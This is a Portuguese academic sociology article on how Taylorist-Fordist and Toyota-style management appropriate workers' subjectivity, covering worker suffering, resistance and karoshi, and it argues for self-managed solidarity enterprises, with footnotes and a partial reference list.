Apropriação da subjetividade da classe trabalhadora: burocracia e autogestão

Apropriação da subjetividade da classe trabalhadora: burocracia e autogestão

.

Working class
subjectivity assumption: bureaucracy and self-administration
.[1]

por Felipe Luiz Gomes e SILVA[2]

Resumo: O objetivo deste texto é refletir sobre o processo
de apropriação da subjetividade da classe trabalhadora pelo capital. Para a
reprodução das relações sociais de produção capitalista, a adesão dos
operários ao processo de produção é um aspecto fundamental. A constante
rejeição da classe operária ao trabalho degradado tem gerado novas estratégias
de gestão que buscam a construção de um coletivo operário dócil e disciplinado.
Dessa forma, as experiências desenvolvidas em empreendimentos autogestionários
solidários apresentam, antes de tudo, um significado político pedagógico, essas
empresas transformam-se em agências educativas, isto é, em um espaço de luta
concreta contra a opressão e exploração do capital.

Palavras
– chave:
Ideologia – Alienação –
Burocracia – Autogestão.

1 – A especificidade da gestão
taylorista-fordista da força de trabalho: sua permanente crise
.

Este
texto tem como objetivo tornar evidente alguns aspectos fundamentais que são
inerentes à organização burocrática e ao processo de trabalho na indústria
metal mecânica,[3] em especial na automobilística. Como é sabido, essa última, desde a introdução
da esteira transportadora,
tem enfrentado a recorrente “repugnância dos
operários ao trabalho intenso e repetitivo”
(Friedmann, G., 1972).

Como demonstra a
história, a tentativa de gerenciar a força de trabalho por meio dos incentivos
salariais – “a ideologia fordiana dos altos salários”[4] – não eliminou em definitivo a rejeição dos trabalhadores aos métodos
fordistas. Os conflitos entre o capital e a classe operária passam a moldar,
no decorrer do tempo, novas formas de gestão da subjetividade humana.

O absenteísmo, o turnover,
o trabalho mal feito e até a sabotagem tornaram-se as chagas da indústria
automobilística americana
: é Fortune, revista mensal da elite empresarial,
que descreve com certo requinte de pormenores essas manifestações da
resistência operária a métodos organizacionais e de dominação que não mudaram
desde o início do taylorismo.(…) O turnover, isto é, a mobilidade
voluntária dos trabalhadores que mudam de emprego em busca de condições de trabalho
mais favoráveis, é um tormento para os capitalistas. A taxa média na Ford,
em 1969, foi de 25%, representados essencialmente pelos operários mais jovens

Alguns desses operários deixam seus cargos, estranha um chefe de oficina, no
meio dia, sem ir buscar o pagamento.(…) As baixas de produtividade
exprimem a resistência dos trabalhadores à exploração
. Essa resistência,
que se manifesta pela quebra dos ritmos, pela sabotagem dissimulada,
pelo aumento de peças falhadas, é crítica para o patronato. (Pignon, D., e
Querzola, J., 1980, 94-5). (itálicos nossos)

A
filósofa e pesquisadora Simone Weil, em uma conferência realizada para um
auditório operário, no ano de 1937, já tinha revelado a especificidade dos
denominados métodos de racionalização do trabalho
.

Muitas vezes fala-se
da revolução industrial para designar exatamente a transformação que se
produziu na indústria no momento em que a ciência se voltou para a produção e
apareceu, então, a grande indústria. Mas pode-se dizer que houve uma segunda
revolução industrial. A primeira define – se pela utilização científica da
matéria inerte e das forças da natureza. A segunda define – se pela
utilização científica da matéria viva, isto é, dos homens
(Weil, S., Apud
Bosi, E.1979, p.111-2). (itálicos nossos)

A
gênese da resistência da classe operária ao método taylorista de racionalização
do trabalho explica-se, em parte, por esta clara distinção. A pretensão de empregar-se
a ciência na matéria viva –
nos seres humanosé realmente
inusitada. Para o pesquisador H. Braverman (1981), a racionalidade da
organização do trabalho taylorista – fordista caracteriza-se pelo desejo de transformar
o homem em máquina
.

Portanto,
a crise da linha de montagem fordista é inerente à sua natureza; mesmo com a
introdução da esteira mecânica, o trabalho humano continua sendo o elemento
dominante, isto é, a qualidade e a produtividade continuam dependendo da
vontade do trabalhador coletivo. Esta estreita relação entre os aspectos
subjetivos do processo de trabalho e a produtividade material, além de revelar
a especificidade dos sistemas produtivos organizados nos moldes fordistas,
evidencia também as origens de sua permanente crise, latente ou manifesta.
(Silva, F., 1998, 2001)

Desta forma, estamos
diante de um caso muito especial de administração de “recursos” humanos, isto
porque, em face da constante rejeição da classe operária ao trabalho
degradado
– trabalho desqualificado, repetitivo e intenso – surgem
continuamente, para além das táticas dos incentivos salariais, novos estratagemas
gerenciais
que buscam a construção da adesão do comportamento humano ao
processo de produção fordista: o condicionamento e a docilidade humana.

2 – A gestão da
subjetividade humana e o sofrimento no trabalho.

2.1 –O suplício da execução de um trabalho esmigalhado.

É possível perceber, em
significativas expressões de linguagem, a raiz da permanente crise do
processo de trabalho taylorista-fordista. Diz, por exemplo, um operário que
trabalha na linha de montagem: “a execução de um trabalho esmigalhado
torna-se um suplício”
(Georges, F., 1981).

Para muitos
trabalhadores, somente o refúgio do hábito – construído pela
regularidade dos gestos manuais repetitivos – possibilita “algum alívio” para o
sofrimento humano. Na defesa de um certo nível de “bem estar”, é preciso que o
trabalhador execute as tarefas numa cadência que não demande muita
assiduidade da atenção;
felizmente, poder trabalhar pensando em outra coisa
(“espírito à deriva”) evita que a racionalização[5] do processo de produção seja total, perfeita. Nas palavras de Simone Weil
(1937):

Se realmente acontece
que com esse sistema a monotonia seja suportável para os operários, é
talvez o pior que se possa dizer de um tal sistema. Certo é que a
monotonia do trabalho começa sempre por ser um sofrimento
; se chega ao hábito,
é à custa de uma diminuição moral
. Na verdade, ninguém se acostuma a isso,
a menos que se possa trabalhar pensando em outra coisa. Mas, então, é
preciso trabalhar num ritmo que não exija muita assiduidade da atenção de
que a cadência do trabalho precisa.
(…) E valendo – se dos meios mais
grosseiros, usando como estimulante, ao mesmo tempo, a sujeição e a isca
da gratificação
– em suma – por um método de domesticação que não se
dirige a nada do que é propriamente humano, doma-se o operário como se doma
um cão, combinando chicote com os pedaços de açúcar
. Felizmente não
alcançam nunca um êxito total, pois nunca a racionalização é perfeita e
porque, graças a Deus, o chefe da oficina não conhece tudo. Restam meios
de tirar – se o corpo fora, mesmo em se tratando de um operário não
qualificado (Weil, S., apud Bosi,E.1979, p. 124 -5). (itálicos nossos)

Mas a ciência da
administração não dá trégua e persegue, sem descanso, novas teorias que
permitam ao chefe da oficina tudo conhecer; é preciso integrar o
“espírito” do trabalhador
ao processo de produção. A busca de uma perfeita
racionalização/servidão –
que evite o desenvolvimento de práticas
defensivas (“tirar o corpo fora”) -, será, para o infortúnio dos seres humanos,
o privilegiado tema de pesquisa das ciências comportamentais americanas e, em
especial, da psicologia aplicada à administração.[6]

Desde a conhecida “Experiência
de Hawthorne”,
realizada na “Western Electric” em Chicago, na
América do Norte, nos anos de 1927 a 1932, em uma linha de montagem de
peças de telefones, que a teoria da administração ressalta a importância da motivação
psicológica
para a construção da lealdade dos trabalhadores para com
a empresa. O “movimento de relações humanas na indústria” é pioneiro na defesa
da utilização dos incentivos simbólicos como forma de estimulação e
de condicionamento da conduta operária
. Por exemplo, a Sala de Terapia
de Tensões Industriais
, constituída por uma equipe de psicólogos/conselheiros,
tinha como função primordial assegurar uma organização que operasse sem
atritos
(smooth-working) e com o máximo de rendimento. (Friedmann,
G., 1981).

Na realidade, neste
contexto, ao pretender que os operários acreditem que são responsáveis pelas
“tensões industriais”, o papel da psicologia tem sido o de negar as origens
sociais, políticas e econômicas dos conflitos de classe, isto é, a negação da
negação.

Em termos claros,
trata-se de passar das preocupações referentes ao trabalho deste operário ou
daquela empregada (job factors) à preocupações que se não referem ao trabalho
mas sim à personalidade do trabalhador (non-job factors). O operário, em lugar
de sentir – se incompreendido e lesado, descobre-se vítima de circunstâncias
cuja responsabilidade não é da Companhia (Friedmann, G., 1981, p. 268).
(itálicos nossos)

A “adaptação psicofísica”
ao ritmo de produção exige um particular dispêndio de energias musculares e
nervosas que provoca um “novo tipo de fadiga” (Gramsci, 1978).

Em relação a esse “novo
tipo de fadiga”, as falas dos operários que trabalham reproduzindo gestos
estereotipados são ricas em revelação. A sensação do corpo anestesiado
e
do entorpecimento físico rompe com a noção de tempo; a vida humana
não passa de um simples arremedo, um simulacro.

A primeira impressão, ao
contrário, é a de um movimento lento, embora contínuo, de todos os carros.
Quanto às tarefas, elas me parecem feitas com uma espécie de resignada
monotonia, mas sem a precipitação que eu esperava. É como um longo deslizar
glauco, do qual se desprende, depois de um certo tempo, uma espécie de
sonolência ritmada por sons, choques, clarões, ciclicamente repetidos,
regulares
. A música informe da linha de montagem, o deslizar das carcaças
cinzentas de chapas brutas, a rotina dos gestos: sinto-me progressivamente
anestesiado
. O tempo pára.(…) É como uma anestesia
progressiva: poderíamos contentarmo-nos com o torpor do nada e ver passar
meses – talvez anos, por que não?
(…) O verdadeiro perigo começa quando se
suporta o choque inicial, o entorpecimento. Daí é esquecer até mesmo
a razão da própria presença
na fábrica e satisfazer-se com o milagre de
sobreviver. Habituar – se. Habituar – mo – nos a tudo, ao que parece. Evitar
choques, proteger – se contra tudo que incomoda. Negociar com o cansaço. Refugiar-se
num simulacro de vida
(Linhart, R.1986, p.12,43). (itálicos nossos)

O longo trecho
anteriormente citado é um claro testemunho do sofrimento humano que tem
como causa inconteste o trabalho alienado e degradado. Recentemente, como
resultado de suas pesquisas científicas, Dejours (1987) revela que o sofrimento[7],
a ansiedade e o medo dos trabalhadores na linha de montagem fordista derivam de
um ritmo imposto pela gerência que exige uma “elevada carga psicosenssorial
motora”.
Assim ele se expressa:

A ansiedade responde
então aos ritmos de trabalho, de produção, à velocidade e, através destes
aspectos, ao salário, prêmios, às bonificações. A situação de trabalho por
produção é completamente impregnada pelo risco de não acompanhar o ritmo
imposto e de “perder o trem”(Dejours, C., 1987, p. 73).

A constante rejeição da
classe operária e a acirrada competição mundial impulsionam a crise (crise
aberta) do sistema de produção taylorista-fordista, locus privilegiado
do trabalho desqualificado. Esses assalariados reivindicam com as “greves selvagens”[8] mudanças fundamentais na forma de organização do trabalho. Segundo Dejours
(1987), as expressões “abaixo as cadências infernais” e “abaixo a separação do
trabalho intelectual e manual” representam nitidamente uma total recusa dos
proletários à insuportável degradação física e mental provocada pela intensificação do ritmo de produção.

Essas “greves selvagens”
confirmam a escolha de 1968 como referência histórica. “Greves selvagens” e
greves de operários não qualificados eclodem espontaneamente, muitas vezes à
margem das iniciativas sindicais
. Elas rompem a tradição reivindicativa e
marcam a eclosão de temas novos: “mudar a vida”, palavra de ordem
fundamentalmente original, dificilmente redutível, que mergulha o patronato e o
Estado numa verdadeira confusão, pelo menos até a atual crise econômica, que
tende a atenuar as reivindicações qualitativas (…) Palavras de ordem como “abaixo
as cadências infernais”, “abaixo a separação do trabalho intelectual e manual”,
“mudar a vida” atacam diretamente a organização do trabalho
( Dejours, C.
1987, p. 24-5) (itálicos nossos).

Um artigo publicado no
New York Times em 23 de agosto de 1973 denuncia claramente a crise dos
processos de trabalho organizados nos moldes taylorista – fordistas. Por
exemplo, a empresa Fiat Motor Company, em Roma, teve nada menos de
21.000 funcionários ausentes em uma segunda-feira e o absenteísmo médio era de
14.000 trabalhadores por dia.(Silva, F.,1998, 1999)

2.2 – A apropriação dos
saberes tácitos e o engajamento estimulado: “la mentalité des pompiers”.

Como resposta à crise
aberta, surge, na segunda metade do século XX, no Japão, o sistema de
produção em massa flexível
(Just in time/Kanban/CCQ/Kaizen/Multi-skill) .[9] Sistema produtivo esse que desenvolve uma nova maneira de gerenciar a força de
trabalho que leva à intensificação do ritmo de produção a padrões extremos
(management by stress)[10]
uma vez que adiciona, ao gesto repetitivo dos operários, o engajamento
estimulado
.

A socióloga Danièle
Linhart (1999) revela que a estratégia da empresa flexível consiste em dominar
a consciência dos trabalhadores,
induzindo la mentalité des pompiers (“mentalidade
dos bombeiros”): sempre prontos e em alerta para realizarem tarefas repetitivas
com a qualidade e a produtividade requeridas pelo capital. Segundo Dejours:

O
“autocontrole” à japonesa constitui um acréscimo de trabalho e um sistema
diabólico de dominação auto – administrado, o qual supera em muito os
desempenhos disciplinares que se podiam obter pelos antigos meios convencionais
de controle (Dejours, C., p.49, 1999).

Na New
United Motor Manufacturing Inc
.
(Califórnia-EUA)[11] por exemplo, os ciclos de trabalho são muito curtos, o início e o
término de uma tarefa multifuncional dura 60 segundos (Womack, J. et al,
1992). Na empresa Suzuki, em Kosai (Japão), o operário desenvolve uma seqüência
de movimentos físicos em um ritmo que é cadenciado pelo som de música
sintética; ele monta, em um estado mental quase hipnótico, um automóvel
de porte médio a cada 58 segundos (Ocada, F., 2002).

Segundo a experiência de
um jornalista brasileiro que trabalhou como arubaito (trabalho
temporário e precário) na Kubota, no Japão – fábrica de tratores e de
implementos agrícolas – as tarefas são pesadas e repetitivas. Ele execut
ava quatro tarefas diferentes (cargo enriquecido)[12] e recebia uma remuneração de 12 reais por hora; mas não tinha carteira
assinada, não ganhava 13º salário e tão pouco fundo de garantia. Assim ele se
expressa:

Eu apertava
parafusos, empurrava máquinas para a linha de produção, buscava peças, levava
caixas vazias para o depósito. Quanto mais trabalhava, mais ouvia hayaku (mais
depressa). Fiz uma coisa imperdoável nas relações trabalhistas locais: reclamei
do abuso e sugeri mudanças. O sistema japonês detesta queixas e abomina
mudanças
(Higobassi, D.,1998, p.109).(itálicos nossos)

Mesmo diante dessas
evidências empíricas, alguns pesquisadores defendem a tese de que a tarefa
polivalente
desempenhada pelos operários japoneses supera a cisão entre
o trabalho manual e intelectual
, isto é, requalifica o processo de
trabalho. A estudiosa Helena Hirata (1988) afirma na conclusão do seu trabalho
de pesquisa o seguinte:

Concluindo, diremos que o one best way taylorista é desmentido por essa incursão na divisão social
e nos processos de trabalho em vigor no Japão.(…) Este fato comprova a idéia
de estudiosos como André Gorz, de que a parcelização e a especialização das
tarefas, a cisão entre trabalho manual e intelectual e a monopolização da
ciência pelas elites não são necessárias para uma produção eficaz. A eficácia
da produção japonesa, como acabamos de ver, não está assentada numa divisão
exarcebada do trabalho tal como Gorz escreve, analisando as sociedades
capitalistas ocidentais (Hirata, H., 1988, p. 42)
.

Na verdade, o exercício
da “multifuncionalidade” (multi-skill) tem gerado um trabalhador pluri-parcelar, engajado, flexível e proativo. Com a introdução dos
círculos de trabalho, da redução dos estoques amortecedores e do princípio da
melhoria contínua (kaizen) aprofunda-se, na realidade, o processo de
alienação do trabalho: a apropriação pelo capital do saber tácito da
classe operária.

Segundo Ikujiro Nonaka
(1991), com a introdução do Sistema JIT/Kanban e dos círculos de trabalho[13],
determinados conhecimentos deixam de ser monopólio de alguns poucos
operários
e são incorporados à organização pela gestão da empresa.[14]

Nonaka
afirma que muitos dos conhecimentos acumulados na empresa provêm da experiência
e não podem ser comunicados pelos trabalhadores em ambiente de procedimentos
administrativos excessivamente formalizados. No entanto, as fontes de inovação
multiplicam-se quando as organizações conseguem estabelecer pontes para
transformar conhecimentos tácitos em explícitos
(Nonaka, I., apud Castells,
M., 1999, p. 180). (itálicos nossos)

Dessa forma, emerge daí
uma nova configuração organizacional que, aliada ao enfraquecimento dos
direitos trabalhistas e à coerção direta do mercado sobre a subjetividade
humana,
permite uma (re)definição da forma de exploração da força de
trabalho.

Para Pierre Bourdieu
(1998), a precariedade das relações de trabalho gera uma nova forma de
opressão: a gestão racional dos “recursos” humanos por intermédio da
insegurança e do medo. Essa coerção é denominada de “regime hegemônico
despótico” por Burawoy (1990) ou de “new regime of subordination” por
Garrahan, P. et al (1994). Alguns dos resultados da aplicação destas novas
técnicas gerenciais são as doenças e as mortes provocadas pela overdose de trabalho.(Valadares, N., 1995; Sargentini, M., 1996; Dejours, C., 2000). De
acordo com Nanci Valadares (1995):

No
Japão, interessante estudo do Dr. T. Kato demonstra que a força humana
empregada tem vivenciado um fenômeno denominado karoshi, ou seja, morte
por excesso de trabalho. Tecnicamente, aplica-se esse termo sócio – médico para
descrever doenças, em geral cardiovasculares, ocasionadas pelo dispêndio
desumano de horas e energia física e psíquica nas atividades produtivas
(Valadares, N., 1995, p.22).

Segundo
esta pesquisadora, cerca de 10.000 trabalhadores, com menos de sessenta anos,
morrem anualmente de enfarte do miocárdio, tromboses e outras causas. Essas
mortes são provocadas pela pressão das empresas sobre os empregados, inclusive
para que não tirem férias e nem desfrutem do tempo livre. Esse estilo de
consumo da força de trabalho está sendo denominado de “sete às onze”, porque os
empregados saem de casa às sete da manhã e somente retornam ao lar às onze
horas. Na ausência de um sindicato forte[15] e de políticas públicas que protejam os trabalhadores, surgiu, no Japão, uma organização
não – governamental
(Karoshi Hot Line) que constituiu um Conselho
Nacional de Defesa das Vítimas de Karoshi, onde vários advogados
trabalham.

É
importante ressaltar que o discurso gerencial da qualidade/produtividade transcende o mundo fabril e contamina todos espaços sociais, em especial as
instituições educacionais públicas e privadas.

3 – A autogestão: apropriação das forças produtivas e
a superação da divisão do trabalho.

Como observamos, a
empresa flexível – modelo toyota de produção – busca a elevação da velocidade
da produção e a melhoria da qualidade das mercadorias por meio da perfeita
sincronização dos gestos manuais
(JIT/Kanban), ou seja, o perfeito nexo
das ações e reações do corpo físico e mental
, levando a reificação do ser
humano ao paroxismo.

Portanto perguntamos: há,
no Japão, alguma evidente reação da classe operária contra esse processo
de administração total.[16] ? Ou será que esse sistema de “gestão de pessoas” atingiu um estado de perfeita
racionalização
da conduta humana?

Segundo M. Nomura há, no
Japão, uma certa resistência da classe operária ao “Sistema JIT/Kanban” de administração de “recursos” humanos. Ele afirma, por exemplo, que na empresa
Toyota, do total de jovens operários empregados no mês de abril de 1991, 25%
pediram demissão depois de oito meses, isto é, em dezembro do mesmo ano. Ainda
mais, somente 45% dos operários recomendam aos seus filhos o tipo de trabalho
que desempenham nesta empresa, eles dizem que suas tarefas são duras e penosas.
(Nomura, M. apud Salerno, M., 1997).

Podemos afirmar que, essa
é uma das razões que explicam porque as empresas japonesas estão importando
força de trabalho de vários mercados diferentes. Além dos coreanos, chineses e
húngaros, segundo o último censo divulgado pelo Ministério da Justiça no Japão,
existem cerca de 265.962[17] nipo – brasileiros (dekasseguis) que desempenham, com “disposição”, os
trabalhos sujos (kitanai), perigosos (kiken) e pesados (kitsui).

Em resumo, na força
desse sistema
de gestão de “recursos” humanos – o engajamento ativo dos
trabalhadores
– encontra-se também a sua fragilidade. São mentes e
corpos humanos comprometidos com o processo de produção, com o sofrimento e com a exploração. Cabe indagar: por quanto tempo suportarão?

A superação da divisão
do trabalho intelectual e manual
– burocracia fabril – base da sustentação
da sociedade dividida em classes e da estrutura opressiva, deverá ser
obra da vontade coletiva dos trabalhadores envolvidos numa luta em direção aos sistemas
autogestionários de produção[18]
,
luta política que deve ser orientada por um projeto de construção de uma sociabilidade
humana não intermediada pelo capital.

Recorremos, mais uma vez,
à profunda analise crítica desenvolvida pela filósofa Simone Weil sobre a opressão
da classe operária no local de trabalho que se traduz em sofrimentos
prolongados
. Para ela, na luta pela transição social não basta coletivizar
as fábricas, além da apropriação dos meios de produção pela classe
trabalhadora faz – se necessário construir uma nova forma de organização.

Se amanhã os patrões
forem expulsos, se as fábricas forem coletivizadas, nada vai mudar quanto a
este problema fundamental: o que é preciso para extrair o maior número possível
de produtos, não é necessariamente o que pode satisfazer aos homens que trabalham
na fábrica (Weil, S. Apud Bosi, E. 1979, p.114).

Portanto,
concordamos com André Gorz quando ressalta que K. Marx pensava na ‘apropriação
das forças produtivas’
e não somente ‘ na socialização dos meios de
produção’. O verdadeiro significado da noção ‘apropriação das forças
produtivas’
exige uma luta pela superação da divisão burocrática do
trabalho
.

Não é por se tornarem coletivamente ‘proprietários dessas
fábricas’, que os proletários poderão desenvolver, por meio do trabalho, uma
totalidade de capacidades
. Exatamente o contrário: enquanto a matriz
material permanece inalterada, a ‘apropriação coletiva’ do conjunto da fábrica
nada mais é do que uma transferência perfeitamente abstrata da propriedade
jurídica
, transferência que será incapaz de por fim a opressão e
subordinação operárias
(Gorz, A, 1980, p. 12).

Nesse sentido, as lutas contra “as cadências
infernais”, pela redução do tempo de trabalho socialmente necessário e pelo
aumento do tempo dedicado às atividades autônomas, tanto individuais como coletivas,
devem estar presentes como uma das estratégias fundamentais à transformação
social.

Reconhecemos que o progresso técnico é uma condição
necessária à superação do trabalho repetitivo e alienado, mas não é
suficiente
. Para que esse processo de transformação aconteça torna-se
necessária a presença do sujeito; sem ela, não há história. É o sujeito, em constante luta, que cria às condições para a superação da
estrutura de opressão/exploração, não há ruptura natural do sistema, isto é, do
modo de produção e organização capitalista.

A
superação dessa forma de organizar é uma condição necessária à emancipação da
humanidade. A reflexão crítica sobre a organização burocrática do trabalho e
suas correspondentes ideologias gerenciais não pode esperar a promessa do
mundo novo
, ou seja, o seu questionamento deve fazer parte das preocupações
teóricas e políticas do conjunto da classe trabalhadora, dos intelectuais, dos
técnicos e dos operários.

Dessa
forma, aqui está um dos grandes desafios, combinar, desde já, economia com
solidariedade
. As experiências desenvolvidas pelos trabalhadores em
empreendimentos autogestionários apresentam, antes de tudo, um significado
subjetivo, cultural e educacional
. As empresas transformam – se em verdadeiras
agências educativas
, isto é, em um espaço concreto de luta política pela
autonomia. A economia solidária autogestionária coloca em questão a
subordinação do trabalho ao capital.

ABSTRACT This paper intends do make a reflection on the human subjectivity
administration in automobile industries. For production efficiency, the join of
workes to production process is such an important standpoint. The endless
rejection of the working class to intense and repetitive work has brought new
administration strategies that search for efficiency and productivity through
the establishment of an ordely work collective.

KEY WORDS : Ideology,alienation, bureaucracy,self – administration.

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Pós-Graduação em Sociologia da UNESP, Campus de Araraquara, São Paulo.

·PIGNON, DOMINIQUE et al (1980)
Ditadura e Democracia na Produção In: Gorz, A. Crítica da Divisão do
Trabalho
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·SCHONBERGER, RICHARD J. (1984) Técnicas
Industriais Japonesas
São Paulo: Pioneira.

·SANCHIS, ERIC (1997) Da Escola ao
Desemprego São Paulo: Agir.

·SARGENTINI, MONICA R. (1996)
Morre-se de overdose de trabalho Revista Atenção ano 2, n. 4, p.43-44,
São Paulo, Março .

·SCHLOSSER, ERIC (2001) País
Fast Food
São Paulo: Ática.

·SILVA, FELIPE. G. L. (1998) A
Fábrica como Agência Educativa: A Gestão da Força de Trabalho no Sistema Toyota
de Produção In: Temas Revista de Pós-Graduação em Sociologia Ano 5 n.4,
p. 163 –193.

·______________(2001) Uma breve
reflexão sobre as harmonias administrativas: de Frederick W. TAYLOR A TAIICHI
OHNO. p. 209 – 238 In: Silva, A Doris et al (Org.) Maurício Tragtenberg: Uma
vida para as Ciências Humanas
São Paulo: UNESP.

·WEIL, SIMONE A Racionalização
(1979) In: A condição Operária e Outros Estudos sobre a Opressão. Ecléa
Bosi (Org). Rio de Janeiro, Paz e Terra.

·WOMACK, JAMES P. et al (1992) A
Máquina que Mudou o Mundo
. Rio de Janeiro: Campus.

·Jornal Nippo – Brasil (2002) Mesmo
em crise, Japão atrai trabalhadores brasileiros In: Caderno Comunidade 3
A, de 26 de junho a 2 de julho de 2002.

.


[1] Publicado na Revista Organizações e Democracia. Vieitez, C.G e Ri, Dal Neusa
Maria (orgs.) – Marília, Unesp v.5, n. 1. p.25-38, 2004.

[2] Professor Doutor em Sociologia da Universidade Estadual Paulista do câmpus de
Araraquara – UNESP, Araraquara, SP, Brasil.

[3] Porque produz peças e componentes que tem formas e dimensões variadas também é
conhecida como “indústria de forma”. A introdução da esteira mecânica gera uma
extrema divisão do trabalho que não rompe com a necessidade de contratação de
uma grande quantidade de “operários de execução direta”, sobretudo na
linha de montagem do produto.

[4] Expressão utilizada por Antonio Gramsci em “Americanismo e Fordismo” In: Obras
Escolhidas São Paulo :Martins Fontes, 1978.

[5] Racionalidade perfeita significa “servidão absoluta”, isto é, o homem
reificado. Deseja a administração “científica” reduzir, por meio do
estabelecimento de uma única maneira certa de executar o trabalho (one best
way), supervisão cerrada e incentivos salariais, uma conduta humana totalmente
subsumida à eficiência econômica

[6] Na busca de um clima social favorável à reprodução do capital, a General Motors
pagou 3 mil dólares por hora para um psicólogo elaborar um programa de
treinamento/participativo. É importante ressaltar que esse programa tinha como
objetivo mudar a percepção da classe operária em relação à empresa, isto
é, apropriar-se da subjetividade humana. (Cf. Alves, M., 1987)

[7] Enquanto na “indústria de forma” o sofrimento humano deriva de um tipo de
trabalho que exige “elevada carga psicossensorial motora”, na de propriedade
(fluxo contínuo) tem sua origem fundamental na necessidade da vigilância do
processo, da concentração e da memorização.

[8] As “greves selvagens” passam por cima da burocracia sindical, do “sindicato
amarelo”. Essa organização é a “menina dos olhos” da empresa, na Citröen, por
exemplo, os operários que participam desse sindicato, os “pelegos”, são
facilmente premiados com promoções, isto é, ascendem na hierarquia
organizacional. ( Cf. Linhart, R., 1978).

[9] O Sistema Just in Time (JIT), conhecido também como Sistema Kanban, é um
técnica organizacional desenvolvida originariamente na Toyota Motor Company,
nos últimos 25 anos, pelo seu ex – vice presidente T. Ohno. Significa fabricar
e entregar produtos apenas a tempo de serem vendidos, submontá – los apenas a
tempo e montá- los nos produtos acabados. A demanda puxa a produção, o processo
é desencadeado do fim para o começo. Sua ênfase está na redução dos estoques
amortecedores. A redução destes força o aparecimento dos problemas que ficam escondidos
atrás do excesso. As informações sobre os estoques encontram – se em cartões
visíveis, chamados de Kanban. A introdução do operador polivalente
permite a redução da quantidade de mão de obra e, como resultado, a condensação
dos poros da jornada de trabalho, isto é, intensificação do ritmo de produção.

[10]
Segundo T. Gounet, autor dessa expressão, esse sistema de gestão realiza, ao
mesmo tempo, a extração da mais-valia absoluta e relativa ( Gounet, T, 1999).

[11] Associação da General Motors com a Empresa Toyota, pioneira na introdução da
sistema Just in Time/Kanban. Devido aos boicotes e às greves a G.M. havia
fechado 04 vezes as suas portas.

[12] Significa redefinir as tarefas prescritas que compõem um cargo. Na fala
empresarial tem como meta combinar várias tarefas para evitar a repetição
extrema e a conseqüente apatia. Objetiva estabelecer um contrato psicológico do
trabalhador para com a empresa.

[13]
Como sabemos, os Círculos de Controle de Qualidade são peças fundamentais para
a gestão da subjetividade do assalariado. Em 1984 havia nada menos que 5.580
Círculos de CQ na Toyota, correspondendo a 37.515 empregados, todos envolvidos
com a idéia de melhorar a eficiência da empresa. Nesse mesmo ano, a Nissan
possuía 4.004 círculos e contava com a participação de 37.389 membros. Em 1990
havia no Japão 314.000 círculos, significando 2,45 milhões de trabalhadores.
(Cf. Silva, F., 2001)

[14] No Japão há uma acentuada terceirização e segmentação do mercado de trabalho, a
remuneração média das mulheres, no ano de 1987, correspondia a 52% dos ganhos
dos trabalhadores masculinos, somente 1/3 da força de trabalho pertence ao core da economia. As pequenas empresas (as que possuem menos de 100 trabalhadores),
no ano de 1982, empregavam 68,7% de toda força de trabalho e pagavam salários
correspondentes a 70% daqueles pagos aos trabalhadores que pertencem ao núcleo (core) das grandes firmas (Cf. Kenny e Florida, 1988). A Toyota conta com 36.000
firmas subcontratadas; 31.600 são consideradas de terceira linha. (Cf. Coriat,
1994)

[15] O “modelo japonês” de gestão dos trabalhadores – gerenciamento de pessoas –
desenvolveu o “sindicato de colaboração” transformando – o no braço direito da
política de “recursos” humanos.

[16] Na década de 1980, no Brasil houve momentos de luta contra a introdução dos
Círculos de Controle de Qualidade. Os trabalhadores denunciavam este programa
denominando-o ironicamente de: Come Calado e Quieto ou Como o Chefe Quer (
Freyssenet et al, 1985).

[17] Cf. Jornal Nippo – Brasil, Caderno 3 A, 26 de junho a 02 de julho de 2002.

[18] Sobre o cooperativismo de Rochdale, Inglaterra, afirma K. Marx: Ela (a
experiência) mostrou que associações de trabalhadores podem gerir lojas,
fábricas e quase todas as formas de atividades com sucesso e melhorou
imediatamente a condição das pessoas; mas não deixou nenhum lugar visível para
os capitalistas. Que Horror! (Marx, K., 1980, p.381)

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